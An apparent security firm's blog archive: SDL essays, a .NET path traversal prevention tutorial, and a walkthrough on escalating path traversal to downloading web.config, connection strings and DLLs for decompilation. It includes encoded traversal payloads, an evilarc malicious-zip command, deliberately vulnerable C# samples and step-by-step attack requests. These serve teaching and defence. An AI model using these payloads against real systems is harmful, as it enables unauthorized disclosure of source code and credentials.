Thursday, April 11, 2019

Secure Development Lifecycle: the SDL value evolution. Part 1

Observability and metrics paradox
It is also about observability: ”If a tree falls in a forest and no one is around to hear it, does it make a sound?” …or… What is the return value (in dollars number) of having a better SDL in place if your company wasn’t shaken by cybersecurity incidents? I see a little paradox here, after spending big budget into security you cannot measure the returns, even more, the returns are less visible: you don’t have incidents in the first place…and if they happen then “someone saves you”, you may have prevented 9/10 of incidents but it is difficult to make a counterfactual argument at that point.
Oh yes, if you had big problems in the past you can then see the statistical improvements over time, Microsoft did.


From: https://www.owasp.org/images/9/92/OWASP_SwSec5D_Presentation_-_Oct18.pdf
Microsoft case teaches
Microsoft had a nice market position and did deal with security in the early 2000s. Not any company has a de facto monopoly in the market. Your company has competitors and alternatives, needs reputation…and let’s not dig too deep into cyber-fines scenarios.
MS in the early 2000’s put great efforts in defining and in applying SDL and still nowadays MS SDL is the reference implementation. That was the genesis of SDL as we know it today, practices like STRIDE Threat Modeling are de-facto standards in the industry.
Fortunately, the metrics paradox is getting weakened by the fact that SDL is becoming a value in itself, that can be shown, that completes quality, that enhances reputation, marketing and it is content more than form (not only compliance), we’ll see how security principles are taken over formal compliance checklists.
Dear <big tech firm here>, can I evaluate your Secure Development Lifecycle?
Supply chain customers start to demand secure process itself, not only secure products and certifications (assuming it is even plausible). An example is the case of UK Gov relation with Huawei, but I’m confident others will follow. The next extract is from Huawei cyber security evaluation centre oversight board: annual report 2019 
“3.35 …analysed the adherence of the product to part of Huawei’s own secure coding guidelines, namely safe memory handling functions. … analysed for the use … of memcpy()-like, strcpy()-like and sprintf()-like functions in their safe and unsafe variants.”
Not many companies with some complexity and history could quietly survive a similar analysis.
Principles based practices and cyber-environmentally safety requirement
The security demand cannot be met only by compliance requirements, compliance, in its various forms (PCI, ISOXXXX) is still a necessary “sine qua non” condition, but customers and counterparties demand more substance behind that. We can observe this “substance winning over form” for example in GDPR as a principles based regulation, as well as in the demand for security processes results to key vendors (see Huawei report from cybersecurity government agency).
From Wikipedia, GDPR: “Controllers of personal data must put in placeappropriate technical and organisational measures to implement the data protection principles
With that clear in mind, it doesn’t take too long to forecast that an enterprise investing in security principles and substantial SDL will have a double advantage, the genesis/primordial one: more secure product (e.g. MS 2002) but also the newer one coming for the visibility, that customers demand now more and more.
SDL was a means to have more secure product, today even more, is becoming a company “value” and something in the realm of morality and ethics, not so different from environmental sustainability. Also, the earlier a company is in the supply chain (hardware, operative system, authentication server, payment gateway, dev frameworks) the more it should care as the biggest is the damage they can do to the information technology environment. Latests year’s Spectre, Heartbleed, EternalBlue, BIOS and software update security incidents are just a few examples of polluting the supply chain.
Metrics transformation; lead vs lag indicators
Take this example of metrics
“the percentage of people wearing hard hats on a building site is a leading safety indicator. A lagging indicator is an output measurement, for example; the number of accidents on a building site is a lagging safety indicator.”
From: https://www.intrafocus.com/lead-and-lag-indicators/
As the security development practices evolve, the same should happens to related metrics. Formal compliance frameworks and lack of severe incidents may have been enough in the past, but neither happens before software development itself. On the other hand, leading indicators are measured during the SDL; leading efforts could be measured in both resources expenditures and assessing maturity level, better both.
After all, would you trust a nuclear power plant just because is law compliant and had no incidents in the last 10 years even IF they don’t spend a buck in security? Let’s put it this way: consider that our planes and power plants use a lot of software, as well as our future medical operation machine, human and self driving cars etc… and I want to see organizations passionately investing in security, in the smartest, and more efficient way, please!
In the next part(s) I want to dig deeper into the evolution of SDL practices in the cyber security market.

Secure Development Lifecycle: the SDL value evolution. Part 2

Evolution of SDL practices: from custom to product to service
The increasing visibility trend discussed in Part 1, of course, is impacting the current cybersecurity practices, in terms of maturity of evolution, also toward a “service”.
Organisations consist of value chains that are comprised of components that are evolving from genesis to more of a commodity. It sounds fairly basic stuff but it has profound effects because that journey of evolution involves changing characteristics.
Following is a Wardley Map (product evolution/visibility graph) comparing Penetration Testing (PT, more a reacting activity) and SDL (preventing vulnerabilities):



The previous example is a comparison over time (name it: 10 years) of one of the most common practice in cybersecurity. Penetration Testing (PT) went form a custom made exercise, to a product and shifting to a commodity (as a service PT, crow found style bug bounty, etc…) whether the ‘Prevent’ activity: SDL, is gaining the shape of a product and finally more visibility that, by the way, means money.
Pushing security left in the lifecycle, but also pushing up in visibility


from: https://code.likeagirl.io/pushing-left-like-a-boss-part-1-80f1f007da95

Pushing left like a Boss series explains it very well: how to prevent better, but the map of the evolution of the SDL shows also the point discussed in Part 1 of the article: the visibility value on having an SDL.
The birth of a new language is the result (for some the cause) of this “pushing left”. DevSecOps is nowadays term to express this fact. “Threat Model” is another term gaining traction.
DevSecOps imply that the “security guys” will be working together with the developers and also that the developer will be more involved in the security practices. I think this is a real advancement in the SDL field, of course, vendors will overload this term with fancy product associations, that is always expected…we know that Dev*Ops is more a principle/value more than a bunch of products.
On the contrary, PenTest (black box testing, often disconnected to the SDL, non automated, single points in time activity link) will have hard times in the near future in an educated SDL environment. Will rules-based compliance follow this trend soon? Don’t know this answer. But if you think you need PenTest…most likely you need even more to mature you SDL!
Security says yes!
DevSecOps values push toward software evolution (CD: continuous delivery of new features), automation and quality (continuous integration). It is a fertile ground for increasing the maturity of the SDL. Investing in SDL means also more functional products in the short/medium term too, not only more secure and less risky. Of course, the challenge is to transform a legacy product/team to this more integrated approach. Intrinsic problems like lack of specific expertise in the market are still plaguing the cybersecurity and SLD sector. It is also something that cannot be implemented in “few weeks”. Defining a custom plan, called also programme or roadmap, based on maturity models like OWASP SAMM and OWASP 5D, made up of incremental enhancement over time have been successful in several organizations. It may take years but there are not many shortcuts.

Tuesday, October 23, 2018

How to prevent Path Traversal in .NET

Introduction

A well-known, never out of fashion and highly impact vulnerability is the Path Traversal. This technique is also known as dot-dot-slash attack (../) or as a directory traversal, and it consists in exploiting an insufficient security validation/sanitization of user input, which is used by the application to build pathnames to retrieve files or directories from the file system, by manipulating the values through special characters that allow access to parent files.
In Open Web Application Security Project (OWASP) terms, a path traversal attack falls under the category A5 of the top 10 (2017): Broken Access Control, so as one of top 10 issues of 2017 we should give it a special attention.

Theoretical Concept

Most basic Path Traversal attacks can be made through the use of "../" characters sequence to alter the resource location requested from a URL. Although many web servers protect applications against escaping from the web root, different encodings of "../" sequence can be successfully used to bypass these security filters and to exploit through flawed canonicalization operations and normalization process.

URL Encode :
  • %2e%2e%2f which translates to ../
  • %2e%2e/ which translates to ../
  • ..%2f which translates to ../
  • %2e%2e%5c which translates to ..\
  • ..%255c which translates to ..\
  • ..%u2216 which translates to ..\
Valid Unicode / UTF-8 Encodings :
  • %cc%b7 translates to   ̷  (NON-SPACING SHORT SLASH OVERLAY )
  • %cc%b8 translates to    ̸  (NON-SPACING LONG SLASH OVERLAY )
  • %e2%81%84 translates to   ⁄   (FRACTION SLASH)
  • %e2%88%95 translates to   ∕   (DIVISION SLASH)
  • %ef%bc%8f translates to /  (FULLWIDTH SLASH)
Invalid Unicode / UTF-8 Encodings :
  • %c1%1c translates to /
  • %c0%af translates to \

Practical Attack

Shall we see two attacks example, the first one exploits through an incorrect validation and sanitization of input data which are modified to access not expected resources; the second one exploits through a well-known vulnerability of some unzip libraries which doesn't use secure by default logic, allowing (via symlink) to unzip files in parent directory.

Path Traversal
As we saw in a previous post From Path Traversal to Source Code in Asp.NET MVC Applications, a Path Traversal can lead to catastrophic consequences and that is why we consider this vulnerability as a Medium/High impact.
A request like this:

Request:
GET /download_page?id=content.dat HTTP/1.1
Host: example-mvc-application.minded
[...]

Can be tampered and exploited using ../ path sequence, and get access to configuration file.

Request:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
[...]

Traversal in Unzip Function
Another exploit through URI normalization abuse is the unzip directory traversal, which can be exploited using a symlink to extract file to parent directories. There are several tools to create malicious zip files, for example Evilarc.
An example of usage can be seen below:
$ python evilarc.py minded.aspx --path inetpub/wwwroot/ --os unix --depth 9 --output-file minded.zip
Creating minded.zip containing ../../../../../../../../../inetpub/wwwroot/minded.aspx
And here is the structure of the resulting zip file:
$ unzip -l minded.zip 
Archive:  minded.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1254  2018-10-15 15:31   ../../../../../../../../../inetpub/wwwroot/minded.aspx
---------                     -------
     1254                     1 file 
Many common zip programs (Winzip, etc) will prevent extraction of zip files whose embedded files contain paths with directory traversal characters. However, many software development libraries do not include same protection mechanisms. This year a good list of impacted libraries has been made with Zip Split Disclosuring Project, which collects all projects has been involved in this security leakage.

Vulnerable code

Here we will see some vulnerable code example, which use different approach in order to attempt to fix path traversal, but without succeeding.

Incorrect Path Validation

When we talk about validation we refer to the verification of data being submitted, to be sure that conforms to a rule or set of rules. These could be a simple not-empty check, a complex regular expression, even a whitelist or blacklist checks.
Talking about paths, whitelist and blacklist checks aren't always possible because sometimes the expected items aren't decided before runtime execution, so it may be a good idea using a regular expression, but this must be done carefully, because defining suitable regular expressions may be practically difficult, so this may bring to security leakage.

See the vulnerable example below:
   Regex regex = new Regex(@"([a-zA-Z0-9\s_\\.\-:])+(.dat)");
   Match match = regex.Match(location);
   if (match.Success){}
If we try to access another file which do not have .dat extension, application will prevent malicious access to the resource, like this:

User input          :   /../web.config
Server validation   :   ../web.config  ->  Fail match regexp!
Built Path          :   \Content\defaultContent.dat


But since the regular expression does not verify if extension is at the latest position of matching string, this check can be exploited by providing fake path which will be ignored during resource retriving, so server does URI normalization that can be abused, like this:

User input          :   index.aspx?Page=fake.dat/../../web.config
Server validation   :   fake.dat/../../web.config  ->  Success match regexp!
Built Path          :   \Content\fake.dat/../../web.config

When server will access the resource, the path will be :\web.config.

Incorrect Path Sanitization

When we talk about sanitization we refer to the manipulation of user input before it begins used in application business logic, so removing, escaping, replacing, parts of  user input in order to avoid a wrong application behavior. Talking about path, a good example of weak sanitization can be the removing of "../" characters sequence.
See the vulnerable example below:

   location = location.Replace(@"..\", ""); //win
   if(File.Exists(location))
This is going to remove the occurrence of "..\" in user input, so when a path traversal is provided, it is transformed and sanitized like this:

User input          :   index.aspx?Page=..\web.config
Server Sanitization :   ..\web.config  ->  web.config
Built Path          :   \Content\web.config 


But if we just change the back-slash ( \ ) with slash( / ), it can be exploited again, because servers usually do URL normalization:

User input          :   index.aspx?Page=../web.config
Server Sanitization :   ../web.config  ->  ../web.config
Built Path          :   \Content\../web.config 

One might be tempted to remove them both, but this isn't a solution because we can again exploit it throgh a double nested dot-dot-slash payload, like this :

User input          :   index.aspx?Page=...\.\web.config
Server Sanitization :   ...\.\web.config  ->  ..\web.config
Built Path          :   \Content\..\web.config 

While first nested "..\" is begin removed, the second one it's ignored and bring to Path Traversal. When the server accesses the resource, the normalized path will be \web.config.

Vulnerable Unzip library

When using a unzip library, you need to be careful because there may be security lackage caused by a vulnerable code, this can be a known or unknown problem in the library.
For example if we have a look to the source of SharpZipLib library on version which was vulnerable to traversal unzip we can see where the problem was:
public string TransformFile(string name)
{
 if (name != null) {
  name = MakeValidName(name, _replacementChar);
  if (_trimIncomingPaths) {
   name = Path.GetFileName(name);
  }
  // This may exceed windows length restrictions.
  // Combine will throw a PathTooLongException in that case.
  if (_baseDirectory != null) {
   name = Path.Combine(_baseDirectory, name);
  }
 } else {
  name = string.Empty;
 }
 return name;
}
As can be seen, the basepath is simply concatenated with name of file from compressed archive, the ability to use upper-directory charaters sequence  in name of file compressed is available from zip specific, but since not all developers knows, this usually lead to path traversal issues, thats why security by default should be used in library methods, disallowing traversal path unzipping by default.

How to fix

Obviously the most effective approach is to map resource location using indirect object reference, so avoiding that source (user input) and sink (reading/writing/deleting files or directories) meet allowing exploits. However this is not always a suitable solutions , it could cost development resources or it couldn't be supported within application architecture, or just not be necessary, so in other case we can combine path validation, path sanitization and absolute path check;

The absolute path check means that we are going to verify from the root, if the file we are about to access is what we were expecting. In other words we segregate resources through path canonicalization, so making it absolute before using it in the application business logic. The canonicalization is a process of lossless reduction of user input to its equivalent simplest known form. In C# there is a method called "System.IO.Path.GetFullPath" which gives the canonicalized path, and we just check if starts with an authorized location.
protected string readFile(string location){

   Regex regex = new Regex(@"([a-zA-Z0-9\s_\\.\-:])+(.dat)$");
   Match match = regex.Match(location);
   if (match.Success){
      if(File.Exists(location) && Path.GetFullPath(location).StartsWith(@"C:\Applications\Documents",StringComparison.OrdinalIgnoreCase))
      {
          using (StreamReader reader = new StreamReader(location))
          {
              return reader.ReadToEnd();
          }
      }
      else
      {
          return "File not found";
      }
   }
   else
   {
       return "File name not valid";
   }
}

Traversal Uzip

Before use an unzip library must be sure if has been found vulnerable to unzip directory traversal, for example checking on Zip Split Disclosuring Project, on CVE database, or testing it as we have shown.



Conclusion

Shall we try to do summary between approaches.

Functionality
Risks
Validation

Reject input which do not respect decided rules

May lead to other security issue, XSS, SQL Injection even log injection

Sanitization

Remove unwanted characters before it begin used from application If not in whitelist may leave some more unexpected characters
Absolute Path Check

Using canonicalization verify the correct file segregation If not validated and sanitizated the user input may lead to other security issue

So since Security is not a static situation, nor a destination to be reached, but rather a continuous process approaching the fix to a path traversal only with a single method can be simplistic and often not resolutive. So absolutely the best way is to use a security-oriented mentality that involves different layers of the development process (you can check out how much this orientation is in your company with the new Minded Security Software Security 5D framework), but speaking from a technical point of view, validation, sanitization and canonicalization are 3 methods that should be complementarily used to minimize security risks.


References
  • https://www.owasp.org/index.php/Path_Traversal
  • http://cwe.mitre.org/data/definitions/22.html
  • https://www.owasp.org/index.php/File_System#Path_traversal
  • https://unicode-search.net/unicode-namesearch.pl?term=SLASH

Tuesday, October 9, 2018

From Path Traversal to Source Code in Asp.NET MVC Applications

Introduction

Model-View-Controller web applications may be difficult to pentest, since they strongly depend -for almost any aspect- on the technology they are developed and deployed with. From the attacker perspective, interacting with a complex multi-layer web application means dealing with very technology-dependent configuration files and implementations; on the contrary, classic web applications (such as WebForms) present a more traditional and simple structure, where looking interesting data and handlers may be easier. 

In this post we will describe a series of steps, based on real world experience, to exploit a Path Traversal vulnerability and reach a full disclosure of source code, by downloading and decompiling DLLs of a Model-View-Controller application within .Net MVC architecture and Razor as the View Engine.

Prerequisite

A Path Traversal vulnerability is present on the target application, and the standard web.config file can be downloaded.

Note: most recent IIS versions and, in general, hardened installations, do not allow web handlers to retrieve files outside their sandbox or scope (i.e. the root folder of the web application, for example c:\inetpub\wwwroot\application_name\)

Main structure

As any .Net application, MVC applications have a web.config file, where "assemblyIdentity" XML tags identifies every binary file the application uses.

Request:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />

  </configSections>
  <appSettings>
    <add key="webpages:Version" value="3.0.0.0" />
    <add key="webpages:Enabled" value="false" />
    <add key="ClientValidationEnabled" value="true" />
    <add key="UnobtrusiveJavaScriptEnabled" value="true" />
  </appSettings>
<system.web>
  <authentication mode="None" />
  <compilation debug="true" targetFramework="4.6.1" />
  <httpRuntime targetFramework="4.6.1" />
</system.web>
<system.webServer>
  <modules>
    <remove name="FormsAuthentication" />
  </modules>
</system.webServer>
<runtime>
  <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security.OAuth" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security.Cookies" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Newtonsoft.Json" culture="neutral" />

      <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Optimization" />

      <bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="WebGrease" />

      <bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Helpers" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Mvc" />

      <bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.WebPages" />

      <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
    </dependentAssembly>
  </assemblyBinding>
</runtime>
<entityFramework>
  <defaultConnectionFactory type="System.Data.Entity.Infrastructure.LocalDbConnectionFactory, EntityFramework">
    <parameters>
      <parameter value="mssqllocaldb" />
    </parameters>
  </defaultConnectionFactory>
  <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
  </providers>
</entityFramework>
  <system.codedom>
    <compilers>
      <compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral” warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" />
      <compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=1.0.0.0, Culture=neutral" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\&quot;Web\&quot; /optionInfer+" />
    </compilers>
  </system.codedom>
</configuration>


Other files that could be found in the root directory of a .Net application:

/global.asax

<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>

/connectionstrings.config

Note: this file contains passwords!

<connectionStrings>
  <add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
</connectionStrings>


In addition, .Net MVC applications are structured to define other web.config files, having the aim to include any declaration for specific namespaces for each set of viewpages, relieving developers to declare “@using” namespaces in every file.
As shown in the picture, representing a VisualStudio MVC/Razor project for a simple application, the main Views folder includes a web.config file:
  • /Views/Web.config
Note: the /Views folder is part of the Razor View Engine configuration.

If the application uses Areas, consider that each Area with graphical interface capabilities could have a dedicated ./Views folder containing a Web.config file for further specific namespaces.
  • <area-name-1>/Views/web.config
  • <area-name-2>/Views/web.config

Any /Views and <area-name>/Views directory may contain a web.config file, that can be downloaded via the former Path Traversal.

Web.config files may refer to other classes via the "type=" attribute, as well as new namespaces.

Request:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>

  <configSections>
    <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
    <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    </sectionGroup>
  </configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">

  <namespaces>
    <add namespace="System.Web.Mvc" />
    <add namespace="System.Web.Mvc.Ajax" />
    <add namespace="System.Web.Mvc.Html" />
    <add namespace="System.Web.Optimization"/>
    <add namespace="System.Web.Routing" />
    <add namespace="WebApplication1" />
  </namespaces>
</pages>
</system.web.webPages.razor>
<appSettings><add key="webpages:Enabled" value="false" /></appSettings>
<system.webServer><handlers><remove name="BlockViewHandler"/><add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /></handlers></system.webServer>
<system.web><compilation><assemblies><add assembly="System.Web.Mvc, Version=5.2.3.0, Culture=neutral” /></assemblies></compilation></system.web></configuration>


Download the first DLL

From a very shallow analysis, the declaration of a custom namespace (since other namespaces are defaults) suggests that a DLL called "WebApplication1" is present in the /bin directory.

Request:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:








Therefore, the DLL file can be decompiled with tools like .NET Reflector, in order to obtain the source code of the related part of the web application, and additional information to advance in the attack.

Decompiling the main DLL shows several details about the internal structure of the application, and its dependencies and modules.
In fact, Area names, which are the semi-independent sections a MVC application is divided in, are defined in the binary of the main namespace / Web Application:


Results

  • The namespace WebApplication1.Areas.Minded corresponds to the namesake area, i.e. a section of the application which is most likely to be accessed with a path similar to https://example-mvc-application.minded/area-name/.
  • Routeconfig.cs file has been extracted to understand the specific rules the application follows to translate URLs to Controllers (which can be considered as the web handlers of the application).

Extend the attack surface

From the definition of an Area, an attacker can infer that other web.config files are present in the application, in guessable/default paths as /area-name/Views/, containing specific configurations that may refer to other DLL files present in the /bin folder.

Request:
GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

Response:
HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
  <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
    <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
  </sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
  <add namespace="System.Web.Mvc" />
  <add namespace="System.Web.Mvc.Ajax" />
  <add namespace="System.Web.Mvc.Html" />
  <add namespace="System.Web.Routing" />
  <add namespace="System.Web.Optimization" />
  <add namespace="WebApplication1" />
  <add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>
</pages>
</system.web.webPages.razor>
<appSettings><add key="webpages:Enabled" value="false" /></appSettings>
<system.webServer><handlers><remove name="BlockViewHandler"/><add name="BlockViewHandler" path="*" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler" /></handlers>
</system.webServer>
</configuration>

Attacker's loot so far

C:\WebApplication1> dir /b /s web.config
C:\WebApplication1\Web.config
C:\WebApplication1\Views\Web.config
C:\WebApplication1\Areas\Minded\Views\web.config

All the web.config files have been downloaded, and they can be inspected for specific references, disclosing details on the /bin directory.

Filename extraction cheat-sheet

The most relevant XML tags, an attacker should look to identify DLLs of a MVC application, are the declarations of namespaces, the inclusion of assembly files, ant any reference to types.
  • "namespace"
  • "assemblyIdentity"
  • " type="

Extract additional namespaces

Every web.config file, both for Areas and for the main Views configuration, includes references to any namespace it depends on:

$ grep -Ri namespace | grep -v namespaces | cut -d'"' -f 1-2


Areas/Minded/Views/web.config: <add namespace="System.Web.Mvc
Areas/Minded/Views/web.config: <add namespace="System.Web.Mvc.AjaxAreas/Minded/Views/web.config: <add namespace="System.Web.Mvc.Html
Areas/Minded/Views/web.config: <add namespace="System.Web.Routing
Areas/Minded/Views/web.config: <add namespace="System.Web.Optimization
Areas/Minded/Views/web.config: <add namespace="WebApplication1
Areas/Minded/Views/web.config: <add namespace="WebApplication1.AdditionalFeatures
Views/Web.config: <add namespace="System.Web.Mvc
Views/Web.config: <add namespace="System.Web.Mvc.Ajax
Views/Web.config: <add namespace="System.Web.Mvc.Html
Views/Web.config: <add namespace="System.Web.Optimization
Views/Web.config: <add namespace="System.Web.Routing
Views/Web.config: <add namespace="WebApplication1


Extract additional assemblies that are referenced within the web application
Binary files (Assembly) the application needs to work properly are declared in the main web.config file:

$ grep -Ri assemblyidentity | cut -d'"' -f 1-2

Web.config: <assemblyIdentity name="Microsoft.Owin.Security
Web.config: <assemblyIdentity name="Microsoft.Owin.Security.OAuth
Web.config: <assemblyIdentity name="Microsoft.Owin.Security.Cookies
Web.config: <assemblyIdentity name="Microsoft.Owin
Web.config: <assemblyIdentity name="Newtonsoft.Json
Web.config: <assemblyIdentity name="System.Web.Optimization
Web.config: <assemblyIdentity name="WebGrease
Web.config: <assemblyIdentity name="System.Web.Helpers
Web.config: <assemblyIdentity name="System.Web.Mvc
Web.config: <assemblyIdentity name="System.Web.WebPages

Extract section group’s namespaces

Within the SectionGroup XML element of a web.config file, the rightmost value of the “type” attribute before the Version refers to additional namespaces the application may need:

$ grep -ri " type=" | grep -v compiler | cut -d'"' -f 1-4

Areas/Minded/Views/web.config: <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Areas/Minded/Views/web.config: <add name="BlockViewHandler" path="*
Views/Web.config: <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral
Views/Web.config: <add name="BlockViewHandler" path="*
Web.config: <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral
Web.config: <defaultConnectionFactory type="System.Data.Entity.Infrastructure.LocalDbConnectionFactory, EntityFramework">
Web.config: <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer

Thus, several files can be downloaded:

  • EntityFramework.dll
  • EntityFramework.SqlServer.dll
  • Microsoft.Owin.dll
  • Microsoft.Owin.Security.dll
  • Microsoft.Owin.Security.Cookies.dll
  • Microsoft.Owin.Security.OAuth.dll
  • Newtonsoft.Json.dll
  • System.Web.Helpers.dll
  • System.Web.Mvc.dll
  • System.Web.Mvc.Ajax.dll
  • System.Web.Mvc.Html.dll
  • System.Web.Optimization.dll
  • System.Web.Routing.dll
  • System.Web.WebPages.dll
  • System.Web.WebPages.Razor.dll
  • WebApplication1.dll
  • WebApplication1.AdditionalFeatures.dll
  • WebGrease.dll

Example of request:
GET /download_page?id=..%2f..%2fbin/<DLL NAME>.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

For the sake of completeness, it must be said that these steps allow an attacker to initiate a grey-box analysis against the web application. In fact, the /bin folder of the target application itself includes several additional DLLs which are referenced by inner libraries.

To understand the gap between the actual /bin folder content and the result of the described technique, the picture shows the real content of the folder, from the internal perspective.

Besides, downloaded DLL files can be treated as any other DLL, which means their dependencies can be listed and they can be decompiled, to investigate more deeply.


References

  • https://msdn.microsoft.com/en-us/library/w7w4sb0w.aspx
  • https://docs.microsoft.com/it-it/aspnet/core/mvc/controllers/areas?view=aspnetcore-2.1
  • https://www.infragistics.com/community/blogs/b/dhananjay_kumar/posts/areas-in-asp-net-mvc
  • https://www.red-gate.com/products/dotnet-development/reflector/index
  • https://visualstudiomagazine.com/articles/2014/10/28/asp-net-mvc-5-1-new.aspx
  • https://www.davidhayden.me/blog/asp-net-mvc-5-attribute-routing
  • https://www.c-sharpcorner.com/article/learn-about-razor-view-engine/
  • https://www.ecanarys.com/Blogs/ArticleID/271/THE-RAZOR-VIEW-ENGINE-IN-MVC